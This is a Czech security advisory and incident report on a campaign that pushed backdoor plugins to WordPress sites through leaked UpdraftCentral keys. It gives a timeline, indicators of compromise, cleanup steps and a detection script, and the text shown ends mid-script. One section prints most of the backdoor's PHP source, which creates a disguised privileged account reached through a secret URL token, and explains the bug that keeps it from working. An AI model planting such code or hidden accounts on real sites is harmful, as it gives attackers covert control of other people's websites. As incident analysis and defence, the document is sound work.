Kritický bezpečnostní problém UpdraftCentral: útočník s klíči služby nahrál backdoor na naše weby

Kritický bezpečnostní problém UpdraftCentral: útočník s klíči služby nahrál backdoor na naše weby

Shrnutí

Stav k 19. říjnu 2026, poslední aktualizace 19. 10. 2026 (vyjádření výrobce). Seznam změn je na konci článku. Text budeme doplňovat podle dalšího vývoje.

Aktualizace 19. 10. 2026: TeamUpdraft potvrdil bezpečnostní incident. Během víkendu 17. a 18. října měl útočník neoprávněný přístup na teamupdraft.com a podle výrobce pravděpodobně získal zákaznickou databázi: jména, e-maily, fakturační adresy, historii objednávek, hashe hesel, nastavení dvoufázového ověření a klíče spojení pro UpdraftCentral (cloud), UpdraftVault a UpdraftClone. Klíče, kterými útočník podepisoval příkazy, tedy unikly přímo od výrobce. Výrobce odhlásil všechny účty, vyměnil klíče pro UpdraftVault a UpdraftClone a připravuje nouzovou verzi UpdraftPlus, která automaticky odpojí všechna spojení UpdraftCentral vytvořená před 18. 10. 2026 22:00 BST (23:00 SELČ). Dashboardů UpdraftCentral hostovaných na vlastním serveru se únik podle výrobce netýká.

Aktualizace 19. 10. 2026 (večer): Patchstack zveřejnil vlastní analýzu, která naše zjištění potvrzuje a rozšiřuje. Viděl 99 různých názvů backdoor pluginů nainstalovaných od 18. 10. 15:32 do 19. 10. 9:23 a druhou IP adresu útočníka 2a09:bac5:4e21:2e3c::49b:9. Ozvali se nám i další postižení správci. Jeden z nich našel druhou variantu backdooru, která vytváří skrytého administrátora. Popisujeme ji níže a kontrolní skript jsme upravili, aby ji zachytil. Pokud jste skript spouštěli dříve, spusťte ho znovu.

Čeho se to týkáslužby UpdraftCentral, jejíž klient je součástí pluginu UpdraftPlus, bezplatného i prémiového
Dotčené verzevšechny verze UpdraftPlus připojené k UpdraftCentral Cloud spojením vytvořeným před 18. 10. 2026 23:00 SELČ, včetně nejnovějších 1.26.11 a 2.26.11. Připojené weby s verzemi do 1.26.4 a 2.26.4 umí útočník napadnout i bez platných klíčů (CVE-2026-10795).
Kolik webůUpdraftPlus má podle wordpress.org více než 4 miliony aktivních instalací a výrobce ho označuje za nejpopulárnější plugin pro plánované zálohování na světě. U červnové chyby stejného kanálu výrobce odhadl, že klíč UpdraftCentral nebo Migrator má méně než 10 % uživatelů, tedy až kolem 400 000 webů. Kolik z nich útočník napadl, nevíme.
Opravavýrobce připravuje nouzovou verzi UpdraftPlus, která automaticky odpojí všechna spojení UpdraftCentral vytvořená před 18. 10. 2026 23:00 SELČ. Než vyjde, je třeba klíče smazat ručně.
Dočasné řešenízrušit spojení s UpdraftCentral, web zkontrolovat naším skriptem, změnit heslo k účtu teamupdraft.com a volitelně zablokovat příkazy UpdraftCentral malým mu-pluginem (postup níže). UpdraftPlus není třeba odinstalovat, zálohování funguje dál.

V noci na 19. října 2026 poslal útočník z IP adresy 43.250.53.42 přes službu UpdraftCentral příkaz plugin.upload_plugin na tři naše weby s WordPressem. UpdraftCentral je služba pro vzdálenou správu webů od TeamUpdraft a její klient je zabudovaný v každé kopii pluginu UpdraftPlus. Na dvou z našich webů příkaz prošel a WordPress nainstaloval a aktivoval neznámý plugin. Na třetím selhal na oprávněních.

Chyba nebyla na naší straně. Všechny tři weby měly aktuální WordPress 7.1.3 i UpdraftPlus 2.26.11, opravený proti červnové zranitelnosti CVE-2026-10795. Útočník se do našich serverů nenabořil a nevyužil žádnou chybu v naší konfiguraci. Přišel kanálem vzdálené správy UpdraftCentral a příkazy podepsal platnými soukromými klíči dashboardu. Ty generuje a uchovává služba UpdraftCentral Cloud a na našich serverech nikdy nebyly. Kdo je má, může na každém připojeném webu bez vědomí majitele nainstalovat a spustit libovolný kód. Proto to považujeme za kritický bezpečnostní problém služby UpdraftCentral.

Kdo je ohrožen: každý web s UpdraftPlus, bezplatným i prémiovým, který je připojený k UpdraftCentral, tedy má vytvořený klíč UpdraftCentral. Klienta UpdraftCentral obsahuje každá z více než 4 milionů instalací UpdraftPlus. Weby, které k UpdraftCentral připojené nejsou, tento útok neohrožuje, protože příkazy UpdraftCentral bez klíče nepřijímají. Naše weby byly připojené k UpdraftCentral Cloud, tedy k dashboardu, který provozuje TeamUpdraft. Podle výrobce se únik netýká dashboardů UpdraftCentral hostovaných na vlastním serveru. Unikly ale i klíče pro UpdraftVault a UpdraftClone, které výrobce mezitím vyměnil.

Nejde o zranitelnost CVE-2026-10795, o které v červnu psal Wordfence: tu měly naše weby opravenou a pokusy o její zneužití na nich selhávaly.

Plugin je backdoor. Na tajný odkaz měl vytvořit účet se zamaskovanými právy administrátora a útočníka do něj rovnou přihlásit. Autor však v kódu udělal chybu, takže backdoor nikdy nefungoval. Místo toho shodil každý požadavek na web, který nešel z cache, a WordPress nám o tom poslal e-mail. Díky tomu jsme ho našli během několika minut až hodin.

Incident jsme 19. října nahlásili TeamUpdraft a požádali je o vysvětlení, jak se klíče dostaly k útočníkovi.

Pokud máte web připojený k UpdraftCentral, považujte ho za potenciálně kompromitovaný, dokud ho neověříte. Spojení okamžitě zrušte a web zkontrolujte podle postupu níže. K 19. říjnu 2026 jsme o tomto backdooru ani o podobném útoku po červnové opravě nenašli žádnou veřejnou zmínku.

Co udělat hned

1. Zrušte spojení s UpdraftCentral

V administraci WordPressu otevřete Nastavení → UpdraftPlus Backups → karta „Advanced Tools“ → „UpdraftCentral“. Klikněte na „Manage existing keys (N)…“ a u každého klíče na „Delete…“. Pokud tam žádný klíč není, web připojený není.

S přístupem k příkazové řádce totéž udělá tento příkaz v kořenovém adresáři WordPressu:

wp option delete updraft_central_localkeys

Potom web odstraňte i v dashboardu UpdraftCentral (teamupdraft.com → My account → UpdraftCentral → ••• u webu → Remove site). Samotné odstranění z dashboardu nestačí. Útočník má soukromý klíč dashboardu, takže rozhoduje smazání klíče na webu.

Výrobce uvádí, že po smazání klíče, kontrole webu a změně hesel administrátorů můžete web znovu připojit. Předtím si změňte heslo k účtu teamupdraft.com (adresu zadejte do prohlížeče ručně, ne přes odkaz z e-mailu), stejné heslo změňte všude, kde jste ho použili, a znovu nastavte dvoufázové ověření. Pokud máte nasazený náš blokovací mu-plugin, před novým připojením ho odstraňte. Kdo používá UpdraftVault, musí web k němu znovu připojit s novými údaji.

2. Ověřte, zda na webu není backdoor

Bez příkazové řádky:

  • Na stejné obrazovce UpdraftCentral klikněte na „View recent UpdraftCentral log events…“. Hledejte řádky „Command received: plugin.upload_plugin“ a „probe.central.updraftplus.com“.
  • V seznamu pluginů hledejte plugin s popisem „Small maintenance toolkit: keeps option storage tidy.“ a s názvem ze dvou slov a tří znaků, například „Load Stack 35C“.
  • Plugin s popisem „Improves cron tasks efficiency for content sites with minimal overhead.“ je druhá varianta. Její účet se v seznamu uživatelů nezobrazí, proto web zkontrolujte i skriptem.
  • V seznamu uživatelů hledejte účet se jménem „Site Tools“ nebo s e-mailem na @example.org.

Pokud je backdoor na webu, administrace nemusí fungovat, protože plugin shazuje každý požadavek. Pak použijte příkazovou řádku.

S příkazovou řádkou uložte náš kontrolní skript z konce článku jako check-updraftcentral.php do kořenového adresáře WordPressu a spusťte:

wp eval-file check-updraftcentral.php --skip-plugins --skip-themes

Skript nic nemění, jen čte. Přepínač --skip-plugins je důležitý, protože nainstalovaný backdoor by jinak shodil i WP-CLI. Řádky [ALERT] znamenají stopy útoku, [WARN] věc ke kontrole a [OK] čistý výsledek. Záznam o přijatém příkazu ještě neznamená, že se plugin nainstaloval (na jednom z našich webů neprošel), proto skript kontroluje i soubory, volby v databázi a účty. Pokud najde cokoli s [ALERT], pokračujte částí „Co dělat, když ho najdete“.

UpdraftPlus si v logu UpdraftCentral pamatuje jen posledních 50 událostí. Na webu, kam často chodí skenery, může záznam o útoku z logu vypadnout a skript pak u logu hlásí [OK]. Pokud máte přístup k logům webového serveru, prohledejte i je (cestu upravte podle serveru, u nginx například /var/log/nginx/):

grep 'class-udrpc.php"' /var/log/apache2/*access*

Příkaz najde požadavky UpdraftCentral bez verze knihovny v hlavičce User-Agent, jaké posílal útočník. Skutečný dashboard posílá class-udrpc.php/2.0; https://teamupdraft.com, takže ho příkaz nezachytí.

3. Volitelně: zablokujte příkazy UpdraftCentral úplně

Pokud chcete mít jistotu, že web neprovede žádný příkaz UpdraftCentral ani tehdy, kdyby na něm zůstal klíč, uložte do adresáře wp-content/mu-plugins/ soubor block-updraftcentral.php s tímto obsahem:

<?php
// Nethemba: block all UpdraftCentral (UDRPC) commands until the vendor resolves the October 2026 incident.
if ( isset( $_POST['udrpc_message'] ) ) {
    http_response_code( 403 );
    exit;
}

Soubory v mu-plugins WordPress načítá před běžnými pluginy, takže se požadavek zastaví dřív, než ho UpdraftPlus zpracuje. Blokuje i migraci webů přes UpdraftPlus Migrator, která používá stejný kanál. Až výrobce problém vysvětlí a vyřeší, soubor smažte.

Jak jsme na to přišli

V 5:38 nám přišel automatický e-mail WordPressu: „WordPress caught an error with one of your plugins, Load Stack 35C.“ Plugin s takovým názvem jsme nikdy neinstalovali. Chybová zpráva zněla Uncaught Error: Undefined constant LoadStack35c::FIELD a náš web od 4:14 vracel na každý požadavek chybu 500.

Všechny soubory v adresáři wp-content/plugins/load-stack-35c/ měly stejný čas zápisu, 4:14:30. O sekundu později se změnil adresář wp-content/upgrade/, který WordPress používá při rozbalování instalovaných pluginů. Plugin tedy přišel přes standardní instalátor WordPressu, ne nahráním souboru na disk. V access logu přesně v té sekundě stojí jediný požadavek:

43.250.53.42 - - [19/Oct/2026:04:14:30 +0200] "POST / HTTP/1.1" 200 8454 "-" "WordPress/6.4; class-udrpc.php"

class-udrpc.php je knihovna, přes kterou UpdraftPlus přijímá příkazy z UpdraftCentral. Její vlastní log (volba updraftcentral_client_log v databázi) to potvrdil: Command received: plugin.upload_plugin.

Časová osa

Weby označujeme A, B a C. Všechny časy jsou v SELČ. Všechny požadavky přišly z 43.250.53.42 (poskytovatel RedSwitches) s hlavičkou User-Agent WordPress/6.4; class-udrpc.php.

WebSondaInstalace pluginuVýsledek
Web C19. 10. 0:41:326:05:31selhala, klíč patřil uživateli bez práva instalovat pluginy
Web A2:14:054:14:30backdoor „Load Stack 35C“ aktivní, web nedostupný do 6:13
Web B2:39:446:53:49backdoor „Text Gantry Eb0“ aktivní, odstraněn v 6:56

Sonda je zpráva adresovaná neexistujícímu klíči probe.central.updraftplus.com. Web na ni odpoví, že zprávě nerozumí, a tím prozradí, že přijímá příkazy UpdraftCentral. Další příkaz už útočník poslal na skutečný klíč 0.central.updraftplus.com. Na všech třech webech proběhl útok stejně, od stejného útočníka, s odstupem několika hodin.

Jak útok proběhl

Při připojení webu k UpdraftCentral si web vygeneruje pár klíčů RSA a veřejný klíč pošle službě UpdraftCentral Cloud. Služba má vlastní pár klíčů a webu pošle jen svůj veřejný klíč. Soukromý klíč dashboardu zůstává u služby. Každý příkaz musí být zašifrovaný pro klíč webu a podepsaný soukromým klíčem dashboardu. Web ho pak provede s právy uživatele, který klíč ve WordPressu vytvořil.

Příkaz plugin.upload_plugin prošel na dvou webech celou touto kontrolou. Podrobně jsme to rozebrali na webu A a vyloučili jsme tato vysvětlení:

  1. Známá zranitelnost CVE-2026-10795. Týká se verzí UpdraftPlus do 1.26.4 (prémiová do 2.26.4). Naše weby měly 2.26.11. Pokusy o její zneužití vidíme na webech B a C v lozích od června z desítek IP adres a všechny skončily hláškou „Could not decrypt incoming message“.
  2. Upravený plugin. Soubory class-udrpc2.php, central/bootstrap.php, central/listener.php a central/host.php jsou bajt po bajtu shodné s oficiální verzí 1.26.11 z wordpress.org.
  3. Starší formát zpráv bez podpisu. Kód ho pro klíče UpdraftCentral odmítá a záznam „Command received“ vzniká až po této kontrole.
  4. Podvržený klíč dashboardu. Otisky klíčů jsou stejné v denních zálohách z 15. až 18. října i v živé databázi a v access lozích nikdo nevolal funkci pro výměnu klíče.
  5. Slabá kryptografie. Klíč webu i dashboardu mají RSA 2048 bitů s exponentem 65537 a UpdraftPlus obsahuje phpseclib 2.0.55, ve které je opravená známá chyba v ověřování podpisů.
  6. Napadený wp-admin. Neznámí administrátoři nepřibyli, kontrolní součty jádra i pluginů sedí a v lozích není žádné nahrání pluginu přes administraci.

Útočník tedy měl soukromé klíče dashboardu pro všechna tři spojení najednou. Na našich serverech tyto klíče nikdy nebyly, takže odtud uniknout nemohly. Příkazy přitom nepřišly ze serveru TeamUpdraft. Skutečný dashboard posílal na web B v březnu a dubnu 2026 příkazy s hlavičkou User-Agent:

WordPress/6.8.5; class-udrpc.php/2.0; https://teamupdraft.com

Útočník posílal WordPress/6.4; class-udrpc.php, bez verze knihovny a bez URL, ze svého serveru. Klíče tedy unikly z prostředí UpdraftCentral Cloud a útočník je použil mimo něj.

TeamUpdraft 19. října potvrdil, že během víkendu 17. a 18. října měl útočník přístup na teamupdraft.com a pravděpodobně i k zákaznické databázi včetně klíčů UpdraftCentral. Klíče tedy unikly z infrastruktury výrobce. Odpovídá tomu i časová osa: klíče pro weby B a C existovaly od listopadu 2025 a útočník je nepoužil až do noci z 18. na 19. října, tedy hned po úniku. Jak se útočník na teamupdraft.com dostal, výrobce neuvedl.

Na webu C útok selhal náhodou. Klíč tam v listopadu 2025 vytvořil uživatel, který už není administrátor. UpdraftCentral před instalací ověřuje, zda má vlastník klíče práva install_plugins a activate_plugins. Neměl ani jedno.

Proč jde o kritický problém UpdraftCentral

Klient UpdraftCentral je součástí každé kopie UpdraftPlus, bezplatné i prémiové. Zapne se, když majitel připojí web k dashboardu. Od té chvíle web provede každý příkaz podepsaný klíčem dashboardu s právy administrátora, který spojení vytvořil, včetně nahrání a aktivace libovolného pluginu. Majitel webu příkaz nepotvrzuje a v našem případě nás na něj nic neupozornilo. Klíče na straně webu nemají dobu platnosti: ty z listopadu 2025 fungovaly i v říjnu 2026.

Bezpečnost všech připojených webů tak stojí na jediném předpokladu, že soukromé klíče dashboardu neuniknou. Unikly, a útočník z jednoho místa během pár hodin ovládl dva weby a pokusil se o třetí. UpdraftPlus má více než 4 miliony aktivních instalací. Počtem instalací ho mezi pluginy se zálohováním na wordpress.org předbíhá jen All-in-One WP Migration (5+ milionů), který slouží hlavně k migraci webů. UpdraftCentral používá jen část uživatelů UpdraftPlus, i malý podíl ze 4 milionů však znamená hodně webů.

Stejný kanál už jednou selhal. V červnu 2026 výrobce opravil zranitelnost CVE-2026-10795 (CVSS 8.1), přes kterou mohl útočník bez přihlášení podvrhnout příkazy UpdraftCentral a nainstalovat a aktivovat škodlivý plugin. Pokusy o její zneužití zachytáváme v našich lozích dodnes.

Co přesně backdoor dělá

Plugin má pět souborů, ale logiku obsahuje jen hlavní. Tady je jeho podstatná část ze vzorku z webu A. Token a heslo jsme zkrátili:

define( 'LOADSTACK35C_TOKEN', 'j0j8nxxH…' );      // 32 znaků
define( 'LOADSTACK35C_FIELD', '_9f5696' );
define( 'LOADSTACK35C_SVC_LOGIN', 'data-ops43' );
define( 'LOADSTACK35C_SVC_PASS', 'L7sfkZMw…' );    // 22 znaků

final class LoadStack35c {
    private function __construct() {
        add_action( 'init', array( $this, 'handle_sync' ), 1 );
    }

    public function handle_sync() {
        if ( isset( $_GET[ self::FIELD ] ) && hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {
            $user = get_user_by( 'login', self::SVC_LOGIN );
            if ( ! $user ) {
                $uid = wp_insert_user( array(
                    'user_login'   => self::SVC_LOGIN,
                    'user_pass'    => self::SVC_PASS,
                    'user_email'   => self::SVC_LOGIN . '@example.org',
                    'display_name' => 'Site Tools',
                    'role'         => 'editor',
                ) );
                if ( is_wp_error( $uid ) ) return;
                $u = new WP_User( $uid );
                $u->add_cap( 'manage_options' );
                $u->add_cap( 'install_plugins' );
                $user = get_user_by( 'id', $uid );
            }
            wp_set_current_user( $user->ID, $user->user_login );
            wp_set_auth_cookie( $user->ID, true, is_ssl() );
            wp_safe_redirect( admin_url( 'index.php' ) );
            exit;
        }
    }
}

register_activation_hook( __FILE__, function () {
    if ( ! get_option( 'load_stack_35c_sync_token' ) ) {
        update_option( 'load_stack_35c_sync_token', 'j0j8nxxH…', false );
    }
} );

LoadStack35c::instance();

Takto by fungoval, kdyby v něm nebyla chyba:

  1. Při každém požadavku na web se zavěsí na akci init s prioritou 1, tedy dříve než většina ostatních pluginů.
  2. Podívá se, zda adresa obsahuje parametr ?_9f5696=, a jeho hodnotu porovná s 32znakovým tokenem. Porovnává funkcí hash_equals, která trvá stejně dlouho bez ohledu na shodu, takže token nejde uhodnout měřením času odpovědi. Bez správného tokenu se nestane nic a web se chová normálně.
  3. Se správným tokenem vytvoří uživatele data-ops43 s heslem zapsaným v pluginu, e-mailem data-ops43@example.org a zobrazovaným jménem „Site Tools“.
  4. Dá mu roli Editor a k tomu dvě samostatná oprávnění: manage_options a install_plugins.
  5. Přihlásí návštěvníka jako tohoto uživatele přes wp_set_auth_cookie s volbou „zapamatovat si mě“, tedy cookie platnou 14 dní. Přihlašovací formulář tím úplně obejde, takže na něj nepůsobí dvoufázové ověření, omezení počtu pokusů ani ochrana přihlášení ve Wordfence.
  6. Přesměruje ho do administrace.

Role Editor se dvěma oprávněními navíc je záměr. V seznamu uživatelů se účet ukazuje jako Editor, ne Administrátor, takže při běžné kontrole adminů ho přehlédnete. Prakticky má ale plnou moc nad webem:

  • install_plugins dovolí nahrát libovolný plugin. Jeho PHP soubory jde spustit přímo přes URL i bez aktivace, což znamená spuštění libovolného kódu na serveru.
  • manage_options zpřístupní všechna nastavení. Stačí zapnout registraci a výchozí roli nastavit na administrátora, a útočník si vytvoří plnohodnotného admina.
  • Editor má na běžném WordPressu i unfiltered_html, takže může do článků vložit JavaScript, který se spustí v prohlížeči každého administrátora.

Backdoor má i druhou vrstvu. Vytvořený účet se známým heslem zůstane ve WordPressu i po odstranění pluginu a útočník se jím umí přihlásit přes běžný formulář, pokud tento účet nemá zapnuté dvoufázové ověření.

Chyba, která nás zachránila

Konstanty jsou definované funkcí define() jako globální (LOADSTACK35C_FIELD), ale kód je čte jako konstanty třídy (self::FIELD). Třída žádné konstanty nemá. PHP 8 proto při prvním vyhodnocení self::FIELD vyhodí Error: Undefined constant LoadStack35c::FIELD. Stane se to ještě před kontrolou tokenu, tedy při každém požadavku: při běžné návštěvě, v administraci, při přihlášení, v REST API, při cronu i ve WP-CLI. Web padá s chybou 500 a obsluhuje jen stránky uložené v cache.

Požadavek s instalací přitom doběhl úspěšně. UpdraftCentral zpracovává příkazy až v akci wp_loaded, která přichází po init, takže v tom požadavku se chybný kód nespustil. Útočník dostal potvrzení o úspěchu a o chybě se z odpovědi nedozvěděl. Spadly až následující požadavky.

Útočníkovi však stačí opravit pár znaků a další vlna může fungovat. Pokud u sebe najdete podobný „rozbitý“ plugin, neopravujte ho. Oprava by backdoor zapnula. Odstraňte ho.

Další detaily

  • Plugin se tváří jako běžný doplněk: má úplnou hlavičku, licenci GPL, Text Domain, popis „Small maintenance toolkit: keeps option storage tidy.“ a vymyšlené vydavatelství („PixelBinder“, „Harbor Stack Labs“).
  • Soubory assets/public.css, assets/public.js a languages/readme.txt obsahují jen komentář. Plugin je nikde nepoužívá, jsou tam, aby adresář vypadal jako skutečný plugin.
  • uninstall.php při odinstalaci z administrace smaže volby <slug>_sync_token a <slug>_setup_stamp, tedy stopy po sobě. Druhou volbu kód nikde nevytváří, je to pozůstatek šablony.
  • Při aktivaci uloží token do volby <slug>_sync_token bez automatického načítání. Kód ji nikde nečte.
  • Oba vzorky vyrobil stejný generátor. Když v nich nahradíme názvy, tokeny, jména a verze zástupnými řetězci, jsou všechny soubory bajt po bajtu shodné. Název má tvar slovo-slovo-3 hex znaky, parametr _ a 6 hex znaků, uživatel slovo-slovo a dvě číslice. Token má 32 znaků a heslo 22 znaků (písmena, číslice, podtržítko).

Indikátory kompromitace

Web AWeb B
Adresář pluginuload-stack-35ctext-gantry-eb0
Název / autor / verzeLoad Stack 35C / PixelBinder / 1.2.6Text Gantry Eb0 / Harbor Stack Labs / 3.9.5
Parametr v URL_9f5696_3e9caa
Uživateldata-ops43media-staff96
Volba v databáziload_stack_35c_sync_tokentext_gantry_eb0_sync_token
SHA-256 hlavního souboru3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209fbb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801
SHA-256 uninstall.php4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f04943fc21efa4b81516130f92bf4efe3b832e1bb69e499d2e42587233a0a005e9

Další vzorky první varianty nám poslaly jiné oběti a další názvy uvádí Patchstack:

  • hero-frame-2c5, autor „CopperForge WP“, uživatel s e-mailem render-build21@example.org, SHA-256 hlavního souboru a9b625496a8ec82862ded01900f720c28f111e624176df7e25be7331f22e4cc9, uninstall.php 325722876a5f8e184b88cf415900ab52c9103553bc4be502399a2272550f2111
  • card-binder-104, verze 2.6.7, uživatel render.desk87
  • podle Patchstacku například „Site Health Cache“, „Asset Forge 2“, „Content Helper“ a „Wp Forge“, celkem 99 názvů

Společné znaky:

  • IP adresy 43.250.53.42 a 2a09:bac5:4e21:2e3c::49b:9, User-Agent přesně WordPress/6.4; class-udrpc.php, požadavek POST /
  • v logu UpdraftCentral sonda probe.central.updraftplus.com a o několik hodin později Command received: plugin.upload_plugin
  • popis pluginu „Small maintenance toolkit: keeps option storage tidy.“
  • uživatel s e-mailem na @example.org a zobrazovaným jménem „Site Tools“, s rolí Editor a oprávněními manage_options a install_plugins
  • fatální chyba Undefined constant <Třída>::FIELD a e-mail WordPressu o chybě v pluginu, který neznáte

Druhá varianta: skrytý administrátor

Tuto variantu jsme sami neanalyzovali. Popis i indikátory nám poslal správce zhruba 145 webů, z nichž útočník napadl tři. Na jeden nahrál variantu popsanou výše, na dva další jiný plugin. Patchstack tuto variantu ve své analýze zatím neuvádí.

  • Názvy: „Src Lab“ (src-lab, autor „WPBridge“, verze 3.0.0) a „Render Helper 232b“ (render-helper-232b, verze 3.7.9).
  • Popis: „Improves cron tasks efficiency for content sites with minimal overhead.“ Pro zakrytí plugin opravdu přidá denní cron, který maže expirované transienty, a filtr pro jQuery na stránkách AMP.
  • Spouštěč: parametr s názvem z 12 hex znaků a 32znakový token, například ?303541c9dfd0=…&m=setup. Režim m=setup vytvoří administrátora (například cmseditor170@example.com nebo web_mgr684@example.com), režim m=svc přihlásí návštěvníka do tohoto účtu. Bez parametru m ho přihlásí jako prvního existujícího administrátora webu.
  • ID vytvořeného účtu ukládá do volby <slug>_uid, například src_lab_uid.
  • Účet skrývá: háček pre_user_query ho vyřadí ze seznamu uživatelů a filtr pre_count_users sníží počet administrátorů o jednoho. V administraci ho tedy neuvidíte.
  • Nemá uninstall.php. Při deaktivaci smaže jen volbu <slug>_installed.
  • SHA-256 src-lab.php: 59231b0e5004672b3058b47b4b4ff2b1fa89f1961bedf1741ba285e8adbe4928
  • Doručení je stejné jako u první varianty, přes sondu a plugin.upload_plugin, z IP 2a09:bac5:4e21:2e3c::49b:9 (src-lab 18. 10. 23:39 UTC, render-helper-232b 19. 10. 0:03 UTC).

Správce neuvádí, že by tato varianta měla stejnou chybu jako první, proto je třeba počítat s tím, že funguje. Na jeho webech ji útočník nepoužil: nevznikla volba _uid, žádný účet ani cizí relace.

Jak ji najít: v souborech pluginů hledejte „Improves cron tasks efficiency“ nebo „keep service accounts out of the main user list“ a uživatele kontrolujte přímo v tabulce wp_users, ne přes administraci. Náš kontrolní skript ve verzi 2 dělá obojí. V access logu hledejte požadavky s parametrem z 12 hex znaků:

grep -E '\?[0-9a-f]{12}=[A-Za-z0-9_-]{32}' /var/log/apache2/*access*

Co dělat, když ho najdete

  1. Pokud jste to ještě neudělali, zrušte spojení s UpdraftCentral podle postupu v části „Co udělat hned“. Jinak může útočník poslat opravenou verzi backdooru.
  2. Plugin deaktivujte a přesuňte mimo webový adresář. Pokud si ho chcete nechat jako důkaz, nemažte ho přes administraci, protože uninstall.php smaže jeho volby.
  3. Smažte volbu <slug>_sync_token.
  4. Zkontrolujte uživatele kontrolním skriptem níže. Pokud backdoor fungoval, tedy jeho účet existuje nebo se v access logu objevil požadavek s jeho parametrem, považujte web za plně kompromitovaný. Útočník mohl nahrát další pluginy nebo webshell a změnit soubory či databázi. Web obnovte ze zálohy z doby před 17. říjnem, porovnejte soubory s čistou instalací a projděte všechny uživatele s oprávněními navíc.
  5. Změňte hesla administrátorů a k účtu UpdraftCentral Cloud, ukončete všechna přihlášená sezení a zapněte dvoufázové ověření.
  6. Zvažte, zda vzdálenou správu potřebujete. Pokud ano, klíč vytvořte pod účtem, který nemá práva instalovat pluginy, pokud je na dálku nepotřebujete. Na webu C útok zastavila právě tato náhoda.

Kontrolní skript

Skript zkontroluje pět věcí: zda je web připojený k UpdraftCentral, co web přes UpdraftCentral přijal, zda jsou v adresářích plugins a mu-plugins soubory backdooru, zda jsou v databázi jeho volby a zda existuje jeho účet nebo jiný uživatel bez role administrátora s oprávněními manage_options či install_plugins. Verze 2 zachytí i druhou variantu: hledá její soubory a volbu _uid, uživatele čte přímo z databáze, takže jejich skrývání neobejde, a upozorní na administrátory vytvořené od 17. 10.

Na webu A po odstranění backdooru vypíše:

[OK]    No active UpdraftCentral connection.
[WARN]  2026-10-19 00:14 UTC  43.250.53.42  probe for UpdraftCentral (UA: WordPress/6.4; class-udrpc.php).
[ALERT] 2026-10-19 02:14 UTC  43.250.53.42  "Command received: plugin.upload_plugin" (UA: WordPress/6.4; class-udrpc.php). A plugin or theme was pushed to this site.
[OK]    No backdoor plugin files found.
[OK]    No backdoor options in the database.
[OK]    No backdoor accounts or hidden admin-level users.

Skript si můžete stáhnout i přímo:

curl -o check-updraftcentral.php https://nethemba.com/wp-content/uploads/2026/10/check-updraftcentral.txt

SHA-256 skriptu: f9247f96a4882722742ddff1eaa515f9eb70faa8f382429fe4204c3d617e57b0. Celý kód:

<?php
/**
 * Nethemba: check for the UpdraftCentral backdoor campaign of October 2026.
 * Read-only. It changes nothing on the site.
 * v2: also detects the second variant, which creates a hidden administrator.
 *
 * Run in the WordPress root directory:
 *   wp eval-file check-updraftcentral.php --skip-plugins --skip-themes
 *
 * --skip-plugins matters: an installed copy of the backdoor crashes every request,
 * including WP-CLI, unless plugins are skipped.
 */

$alerts = 0;
$warnings = 0;
$report = function ( $level, $message ) use ( &$alerts, &$warnings ) {
    if ( 'ALERT' === $level ) $alerts++;
    if ( 'WARN' === $level ) $warnings++;
    echo str_pad( "[$level]", 8 ), $message, "\n";
};

echo "UpdraftCentral backdoor check for ", get_option( 'siteurl' ), "\n\n";

// 1. Is the site connected to UpdraftCentral?
$keys = get_option( 'updraft_central_localkeys' );
if ( is_array( $keys ) && $keys ) {
    foreach ( $keys as $id => $key ) {
        $report( 'WARN', sprintf(
            'UpdraftCentral connection is active: key %s, created %s by user "%s". Delete it now.',
            $id,
            isset( $key['created'] ) ? gmdate( 'Y-m-d', $key['created'] ) : '?',
            isset( $key['extra_info']['user_login'] ) ? $key['extra_info']['user_login'] : '?'
        ) );
    }
} else {
    $report( 'OK', 'No active UpdraftCentral connection.' );
}

// 2. What the site received over UpdraftCentral.
$log = get_site_option( 'updraftcentral_client_log' );
$log_hits = 0;
foreach ( is_array( $log ) ? $log : array() as $entry ) {
    $message = isset( $entry['message'] ) ? $entry['message'] : '';
    $agent   = isset( $entry['http_user_agent'] ) ? $entry['http_user_agent'] : '';
    $when    = isset( $entry['time'] ) ? gmdate( 'Y-m-d H:i', $entry['time'] ) . ' UTC' : '?';
    $ip      = isset( $entry['remote_ip'] ) ? $entry['remote_ip'] : '?';
    if ( preg_match( '/upload_(plugin|theme)/', $message ) ) {
        $report( 'ALERT', "$when  $ip  \"$message\" (UA: $agent). A plugin or theme was pushed to this site." );
        $log_hits++;
    } elseif ( false !== strpos( $message, 'probe.central.updraftplus.com' ) ) {
        $report( 'WARN', "$when  $ip  probe for UpdraftCentral (UA: $agent)." );
        $log_hits++;
    } elseif ( 'Command received' === substr( $message, 0, 16 ) && preg_match( '/class-udrpc\.php$/', $agent ) ) {
        $report( 'ALERT', "$when  $ip  \"$message\" from a client that is not UpdraftCentral Cloud (UA: $agent)." );
        $log_hits++;
    }
}
if ( ! $log_hits ) $report( 'OK', 'UpdraftCentral log shows no plugin uploads, probes or foreign clients.' );

// 3. Backdoor plugins in plugins and mu-plugins.
$plugin_hits = 0;
foreach ( array( WP_PLUGIN_DIR . '/*/*.php', WPMU_PLUGIN_DIR . '/*.php' ) as $pattern ) {
    foreach ( (array) glob( $pattern ) as $file ) {
        $code = (string) @file_get_contents( $file, false, null, 0, 200000 );
        $template = false !== strpos( $code, 'keeps option storage tidy' )
            || false !== strpos( $code, 'Improves cron tasks efficiency' )
            || false !== strpos( $code, 'keep service accounts out of the main user list' )
            || ( false !== strpos( $code, "_sync_token'" ) && false !== strpos( $code, 'wp_set_auth_cookie' ) && false !== strpos( $code, 'hash_equals' ) )
            || ( false !== strpos( $code, 'pre_user_query' ) && false !== strpos( $code, 'pre_count_users' ) && false !== strpos( $code, 'wp_set_auth_cookie' ) );
        if ( $template ) {
            $report( 'ALERT', "Backdoor plugin file: $file" );
            $plugin_hits++;
        }
    }
}
if ( ! $plugin_hits ) $report( 'OK', 'No backdoor plugin files found.' );

// 4. Options the backdoor leaves behind.
global $wpdb;
$options = $wpdb->get_col( "SELECT option_name FROM {$wpdb->options} WHERE option_name REGEXP '^[a-z]+_[a-z]+_[0-9a-f]{3}_(sync_token|setup_stamp)$'" );
foreach ( $options as $name ) $report( 'ALERT', "Backdoor option in the database: $name" );
// The second variant stores the ID of its hidden administrator in <slug>_uid.
$uids = $wpdb->get_results( "SELECT option_name, option_value FROM {$wpdb->options} WHERE option_name REGEXP '^[a-z]+_[a-z]+(_[0-9a-f]{3,4})?_uid$'" );
